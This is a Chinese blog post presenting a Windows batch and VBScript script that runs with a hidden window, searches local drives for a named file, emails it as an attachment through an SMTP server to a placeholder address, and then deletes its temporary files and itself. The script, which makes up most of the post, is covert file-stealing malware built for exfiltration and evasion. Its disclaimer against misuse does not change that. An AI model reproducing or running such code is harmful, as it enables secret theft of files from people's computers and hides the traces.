代码可能具有一定攻击性,请尊重个人隐私,勿用于非法用途!
利用Windows批处理命令搜索计算机本地文件,找到指定文件后判断计算机是否联网,如果能联网就将文件以附件形式发送到指定邮箱,执行完后自动删除批命令文件及产生的其它文件。实际效果如图:

@echo off
REM 隐藏运行窗口
if "%1"=="h" goto begin
start mshta vbscript:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exit
:begin
REM 循环查找文件LOGO.bmp
set "FileName=LOGO.bmp"
REM 需要查找的盘符
for %%a in (C D E F G) do (
if exist %%a:\nul (
pushd %%a:\
for /r %%b in ("*%FileName%") do (
if /i "%%~nxb" equ "%FileName%" (
copy "%%b" D:\System.dat
goto:sendmail
)
)
popd
)
)
:sendmail
(
REM 写入多行命令到vbs
more +41 %0 >> D:\SystemCMD.vbs
del /q /s D:\cid_store.dat
echo . > D:\cid_store.dat
attrib D:\cid_store.dat +r
del /q /s D:\cid_store.dat.bak
echo . > D:\cid_store.dat.bak
attrib D:\cid_store.dat.bak +r
REM 执行vbs
D:\SystemCMD.vbs
REM 强制删除中间文件
del /f /a /q D:\cid_store.dat
del /f /a /q D:\cid_store.dat.bak
del /f /a /q D:\System.dat
del /f /a /q D:\SystemCMD.vbs
REM 删除bat本身
del %0
exit /b
)
REM vbs脚本
do
Set Conn = CreateObject("MSXML2.XMLHTTP")
Conn.Open "GET","http://www.baidu.com",False
Conn.Send()
If Conn.StatusText="OK" Then
NameSpace = "http://schemas.microsoft.com/cdo/configuration/"
Set Email = CreateObject("CDO.Message")
REM 发信地址
Email.From = "send@example.com"
REM 收信地址
Email.To = "rec@example.com"
Email.Subject = "指定文件已获取"
Email.Textbody = "指定文件已获取,详见附件!"
Email.AddAttachment "C:\System.dat"
With Email.Configuration.Fields
.Item(NameSpace&"sendusing") = 2
REM SMTP服务器地址
.Item(NameSpace&"smtpserver") = "smtp.example.com"
REM SMTP服务器端口
.Item(NameSpace&"smtpserverport") = 25
REM SMTP身份验证
.Item(NameSpace&"smtpauthenticate") = 1
REM 发信人用户名
.Item(NameSpace&"sendusername") = "send@example.com"
REM 发信人密码
.Item(NameSpace&"sendpassword") = "11223344aabb"
.Update
End With
Email.Send
WScript.quit
End If
Set Conn = Nothing
WScript.sleep 1000
loop
本文标题:Windows批命令实现邮件指定文件
版权声明:本文使用「署名 4.0 国际」创作共享协议,转载或使用请遵守署名协议。